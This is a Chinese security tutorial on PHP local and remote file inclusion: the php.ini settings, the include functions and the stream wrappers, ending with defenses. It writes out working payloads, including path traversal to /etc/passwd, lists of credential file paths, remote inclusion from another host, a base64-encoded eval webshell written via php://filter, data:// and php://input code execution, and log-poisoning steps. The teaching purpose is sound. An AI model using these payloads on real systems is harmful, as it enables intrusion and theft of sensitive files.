网安文件包含漏洞

news2024/11/18 5:33:00

文件包含概念:

开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。为了使代码更加灵活,通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。

文件包含:

文件包含的原理:文件包含漏洞产生的原因是在通过PHP函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致  任意文件读取与任意命令执行。

文件包含分类:

文件包含分为两种:

本地文件包含:包含本地主机上的文件(WEB服务器),文件名称是相对路径或者绝对路径

远程文件包含:包含互联网上的文件,文件名称为URL格式

而区分二者最简单的办法就是通过查看php.ini中是否开启了allow_ url_ include. 如果开启就有可能包含远程文件。

与文件包含相关的配置文件:(php.ini文件)

allow_url_fopen = on    (默认开启)   #允许打开URL文件

allow_url_include = on  (默认关闭)   #允许引用URL文件

与文件包含有关的函数:

include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行

include_once():功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次

requier():使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行

require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

文件包含特征:

?page=a.php

?home=b.html

?file=content

检测方法

?file=../../../../etc/passwd

?page=file:///etc/passwd

?home=main.cgi

?page=http://192.168.189.78/1.txt

http://1.1.1.1/../../../../dir/file.txt

本地文件包含:

1.php扩展名为: jpg、rar、txtxxx发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。(此处只以.txt举例)

此外include.php文件,还可以通过目录遍历来执行文件,在include.php的上一目录写一个2.php

<?php echo "666";?>打印666,通过浏览器进行访问

本地文件包含利用:

1,读取Windows系统敏感信息:

C:\boot.ini //查看系统版本

C:\windows\system32\inetsrv\MetaBase.xml //IS配置文件

C:\windows\repair\sam //windows初次安装的密码

C:\program Files\mysq|\my.ini //Mysq|配置信息

C:\program Files\mysq|\data\mysq|\user.MYD //Mysql root

C:\windows\php.ini //php配置信息

2,读取linux系统敏感信息:

/etc/passwd //linux用户信息

/usr/local/app/apache2/conf/httpd.conf //apache2配置文件

/usr/local/app/php5/lib/php.ini //php配置文件

/etc/httpd/conf/httpd.conf //apache配置文件

/etc/my.cnf //Mysq|配置文件

本地文件包含——常用文件路径:

apache+Linux 日志默认路径                                                                             apache+linux 默认配置文件

/etc/httpd/logs/access.log/var/log/httpd/access.log  /etc/httpd/conf/httpd.conf

  /etc/init.d/httpd

apache+win2003 日志默认路径

D:\xampp\apache\logs\access.logD:\xampp\apache\logs\error.log  IIS6.0+win2003 配置文件

  C:/Windows/system32/inetsrv/metabase.xml

IIS6.0+win2003 默认日志文件

C:\WINDOWS\system32\Lognames  IIS7.0+WIN 配置文件

  C:\Windows\System32\inetsrv\config\applicationHost.config

IIS7.0+win2003 默认日志文件

%SystemDrive%\inetpub\logs\Lognames                                                                                        ./:当前路径

  ../:上级目录

nginx 日志文件  /:根目录

/usr/local/nginx/logs  ~/linux用户主目录

远程文件包含:

如果 php.ini 的配置选项 allow_url_include 和 allow_url_fopen 都为 ON 的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,可以直接执行 任意命令。

http://172.26.26.253/fileupload/file.php?filename=http://172.26.26.115/1.txt

 1.txt 是文本文件并且他是另一个网站上面的文档,但是当目标服务器的这两个配置选项都开启的时候,他就会把其中的文件当作 php 文件来运行。

什么是伪协议:

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()copy()file_exists() filesize() 文件系统函数。除了这些封装协议,还能通过 stream_wrapper_register()来注册自定义的封装协议。

文件包含伪协议:

file://         可以用于访问本地文件系统,不受allow_url_fopenallow_ulr_include影响

使用方法 file://绝对路径

实例:file://C:\Windows\System32\drivers\etc\hosts                   #必须为绝对路径

        

php流filter

?page= php://filter/read=convert.base64-encode/resource=1.php

通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。

②php://               访问各个输入/输出流,不受allow_url_fopenallow_url_include影响

php://filter参数  读取文件

resoure=<要过滤的数据流>     必须参数,指定筛选过滤的数据流

read=<读链的筛选列表>          可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔

write=<写链的筛选列表>          可选参数,可设定一个或多个过滤器名称,以管道符(|)分隔

<;两个链的筛选列表>                任何没有以read=write=作前缀的筛选器列表会视情况应用于读或写链

实例:

php://filter/read=convert.base64-encode/resource=cmd.php   //查看php代码需要使用转换过滤转换代码,不然无法查看代码

实例:

filename=php://filter/write=convert.base64-decode/resource=shell.php&txt=PD9waHAgZXZhbCgkX0dFVFsnaWQnXSk7Pz4=

打开文件时将输入流字符串进行baes64解码,并写入文件中,通过改方法,可以绕过一些安全监测,写入一句话

测试脚本                                          运行结果

 

 

 

php://input  可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行,需开启allow_url_include

利用php中流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

读取文件(allow_ url. include和allow_ ur_ fopen都不做要求)

127.0.0.1/upload/include.php/?page=php://input

<?php fputs(fopen("1116.php","w"),"<?php phpinfo();?>");?> 将1116.php写入当前路径下内容为<?php phpinfo();?>

data://                        读取数据流且执行,PHP5.2.0起有效,all_url_fopenallow_url_inclued需要都开启才能使用

用法 data://text/plain;base64,<执行代码的base64编码>  |   data://text/plain,<执行的代码>

 

命令执行

http://127.0.0.1/csh/include.php/?page=data://text/plain, <?php phpinfo();?>

?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= (将<?php phpinfo();?>转换为了base64编码)

zip:// 、 bzip2:// 、 zlib://  均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等,不受all_url_fopenallow_url_inclued影响

zip://[压缩文件绝对路径]#[压缩文件内的子文件名]  

                                           

 bzip2使用方法:compress.bzip2://[文件绝对路径|文件相对路径]

zlib使用方法:compress.zlib://[文件绝对路径|文件相对路径]

phar使用方法:phar://[文件绝对路径|文件相对路径]/[子文件名称]

包含日志文件getshell:

利用条件:知道日志的物理存放路径、存在文件包含漏洞、使用burp发送请求,或者curl工具(网页请求会对特殊字符编码)

①构造url,访问web服务 ————目的是,构成错误请求,apache就会将错误的请求写入,错误日志当中 error.log

 

②使用存在文件包含的php访问,进行包含错误日志

 

③写入webshell构造url进行访问

 

文件包含和文件上传的利用:

如果你发现了一个包含本地文件包含漏洞的网站,或许我们只可以查看一些文件。那么我们可以进行更深层次的利用。刚好这个时候我们在这个网站上又发现了一个文件上传漏洞。我们可以将两者结合

制作一个图片木马,通过文件上传漏洞上传通过文件包含漏洞对该图片木马进行"包含" 获取执行结果

各协议的利用条件和方法:

本地文件包含-防御:

(1)allow_url_include和allow_url_fopen关闭;

(2)对用户包含的文件进行限制,如白名单、open_basedir;

(3)检查用户输入;

(4)检查变量是否初始化;

(5)关键的过滤在服务器端进行;

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1419470.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

docker+jekins+maven+ssh 持续集成交付部署 jar包

一. docker环境搭建&#xff0c;此处略过。 二. docker部署jekins 2.1 拉取镜像&#xff0c;挂载工作目录,xxxx为宿主机指定工作目录 docker pull jenkins/jenkins docker run -d -p 8080:8080 -p 50000:50000 --name jenkins --privilegedtrue -v xxxxxxxxxx:/var/jenkins…

源码安装nginx并提供服务脚本

一、下载nginx ①官网复制下载链接 ②在Linux中下载 [rootopenEuler2 ~]# wget -c https://nginx.org/download/nginx-1.24.0.tar.gz 二、解压并指定路径 [rootopenEuler2 ~]# tar xf nginx-1.24.0.tar.gz -C /usr/local/src/ 三、安装依赖 dnf install -y gcc gcc-c mak…

使用plotly dash 画3d圆柱(Python)

plotly3D &#xff08;3d charts in Python&#xff09;可以画3维图形 在做圆柱的3D装箱项目&#xff0c;需要装箱的可视化&#xff0c;但是Mesh &#xff08;3d mesh plots in Python&#xff09;只能画三角形&#xff0c;所以需要用多个三角形拼成一个圆柱&#xff08;想做立…

vue实现跳转传参查询

vue实现跳转传参查询&#xff1a; 应用场景&#xff1a;外部链接携参跳转目标页时,避免多次输入查询信息查询 目标需求&#xff1a;登录及非登录状态均可跳转自动查询 避坑指南&#xff1a;token失效时需要重新缓存及路由导航缓存判断 简单实现&#xff1a;缓存信息&#xff0c…

PeakCAN连接到WSL2 Debian

操作步骤 按照以下步骤进行操作&#xff1a; 在Windows下安装PeakCAN驱动并安装&#xff0c;地址是https://www.peak-system.com/PCAN-USB.199.0.html?&L1 在Windows下安装usbipd&#xff0c;地址是https://github.com/dorssel/usbipd-win/releases&#xff0c;最新版是…

Elasticsearch:如何为 Elastic Stack 配置 AI Assistant

了解并安装 Elastic AI Assistant Elastic 推出了 Observability AI Assistant&#xff0c;这是一款利用生成式 AI 来增强你的 Observability 体验的强大工具。 该 AI 助手由 OpenAI 或 Azure OpenAI 服务的连接器提供支持&#xff0c;可带来上下文洞察和聊天功能&#xff0c;…

vue中的vuex

在Windows的应用程序开发中&#xff0c;我们习惯了变量&#xff08;对象&#xff09;声明和使用方式&#xff0c;就是有全局和局部之分&#xff0c;定义好了全局变量&#xff08;对象&#xff09;以后在其他窗体中就可以使用&#xff0c;但是窗体之间的变量&#xff08;对象&am…

c++学习记录 多态—案例2—电脑组装

#include<iostream> using namespace std;//抽象不同的零件//抽象的cpu类 class Cpu { public://抽象的计算函数virtual void calculate() 0; };//抽象的显卡类 class VideoCard { public://抽象的显示函数virtual void display() 0; };//抽象的内存条类 class Memory …

【MySQL】聚合函数和内置函数

文章目录 1 :peach:聚合函数:peach:2 :peach:group by子句的使用:peach:3 :peach:内置函数:peach:3.1 :apple:日期函数:apple:3.2 :apple:字符串函数:apple:3.3 :apple:数学函数:apple: 4 :peach:其它函数:peach: 1 &#x1f351;聚合函数&#x1f351; 函数说明COUNT([DISTIN…

【大数据】Flink 架构(三):事件时间处理

《Flink 架构》系列&#xff08;已完结&#xff09;&#xff0c;共包含以下 6 篇文章&#xff1a; Flink 架构&#xff08;一&#xff09;&#xff1a;系统架构Flink 架构&#xff08;二&#xff09;&#xff1a;数据传输Flink 架构&#xff08;三&#xff09;&#xff1a;事件…

(十四)测频NE555应用

文章目录 NE555简介NE555原理图如何对NET_SIG&#xff08;P34&#xff09;引脚计脉冲测频应用部分代码现象 NE555简介 NE555是一种集成电路&#xff0c;其内部结构包括比较器、RS触发器、电压比较器和输出级三个主要功能模块。是由硬件直接产生的脉冲 NE555一些的常见应用&am…

Orion-14B-Chat-Plugin本地部署的解决方案

大家好,我是herosunly。985院校硕士毕业,现担任算法研究员一职,热衷于机器学习算法研究与应用。曾获得阿里云天池比赛第一名,CCF比赛第二名,科大讯飞比赛第三名。拥有多项发明专利。对机器学习和深度学习拥有自己独到的见解。曾经辅导过若干个非计算机专业的学生进入到算法…

PGsql 解析json及json数组

创建测试数据 drop table if exists json_test; create table json_test as select 111 as id, {"nodes":{"1692328028076":{"nodeId":"1692328028076","nodeName":"测试表1","nodeType":"DATACO…

Golang 流媒体服务器lalserver使用指南

目录 安装 使用 1.推流 2.播放 官方地址 安装 1.下载源码 wget https://github.com/q191201771/lal/releases/download/v0.36.7/lal_v0.36.7_linux.zipunzip lal_v0.36.7_linux.zip cd lal_v0.36.7_linux 2.启动 ./bin/lalserver -c ./conf/lalserver.conf.json 使用 …

Linux部署lomp环境,安装typecho、WordPress博客

部署lomp环境&#xff0c;安装typecho、WordPress博客 一、环境要求1.1.版本信息1.2.准备阿里云服务器【新用户免费使用三个月】1.3.准备远程工具【FinalShell】 二、Linux下安装openresty三、Linux下安装Mysql四、安装Apache【此步骤可省略】4.1.安装Apache服务及其扩展包4.2.…

【React教程】(2) React之JSX入门与列表渲染、条件渲染详细代码示例

目录 JSX环境配置基本语法规则在 JSX 中嵌入 JavaScript 表达式在 JavaScript 表达式中嵌入 JSXJSX 中的节点属性声明子节点JSX 自动阻止注入攻击在 JSX 中使用注释JSX 原理列表循环DOM Elements 列表渲染语法高亮 条件渲染示例1&#xff1a;示例2&#xff1a;示例3&#xff08…

使用Docker安装Jenkins,并能够在该Jenkins中使用Docker

1. 构建Dockerfile 试错1 参考https://medium.com/manav503/how-to-build-docker-images-inside-a-jenkins-container-d59944102f30 按照文章里所介绍的&#xff0c;实现在Jenkins容器环境中依然能够调用Docker&#xff0c;需要做到以下几步 下载Jenkins镜像将环境中的docke…

解析PDF二维码:数字时代文件管理的创新之道

随着数字时代的来临&#xff0c;文件管理方式正经历着翻天覆地的变革。在这个变革的浪潮中&#xff0c;PDF二维码作为一种创新的技术手段&#xff0c;正逐渐引起人们的关注。本文将深入探讨PDF二维码的概念、应用领域以及在文件管理中的前景。 一、PDF二维码的概念 PDF二维码…

2024-01-29 ubuntu 用脚本设置安装交叉编译工具链路径方法,设置PATH环境变量

一、设置PATH环境变量的方法,建议用~/.bash_profile的方法&#xff0c;不然在ssh登录的时候可能没有设置PATH. 二、下面的完整的脚本&#xff0c;里面的echo "export PATH$build_toolchain_path:\$PATH" >> $HOME/.bashrc 就是把交叉编译路径写写到.bashrc设置…

笔记本从零安装ubuntu系统+多种方式远程控制

文章目录 前言ubuntu启动盘Windows远程Ubuntu安装XrdpXrdp卡顿问题解决Xrdp 二次登录会死机的问题Xrdp 卡顿问题 MobaXtermRustDesk 外网远程VNC 远程SSH远程其它设置 总结 前言 我有台老笔记本&#xff0c;上大学第一年的时候买的&#xff0c;现在已经不怎么好用了。打算刷个…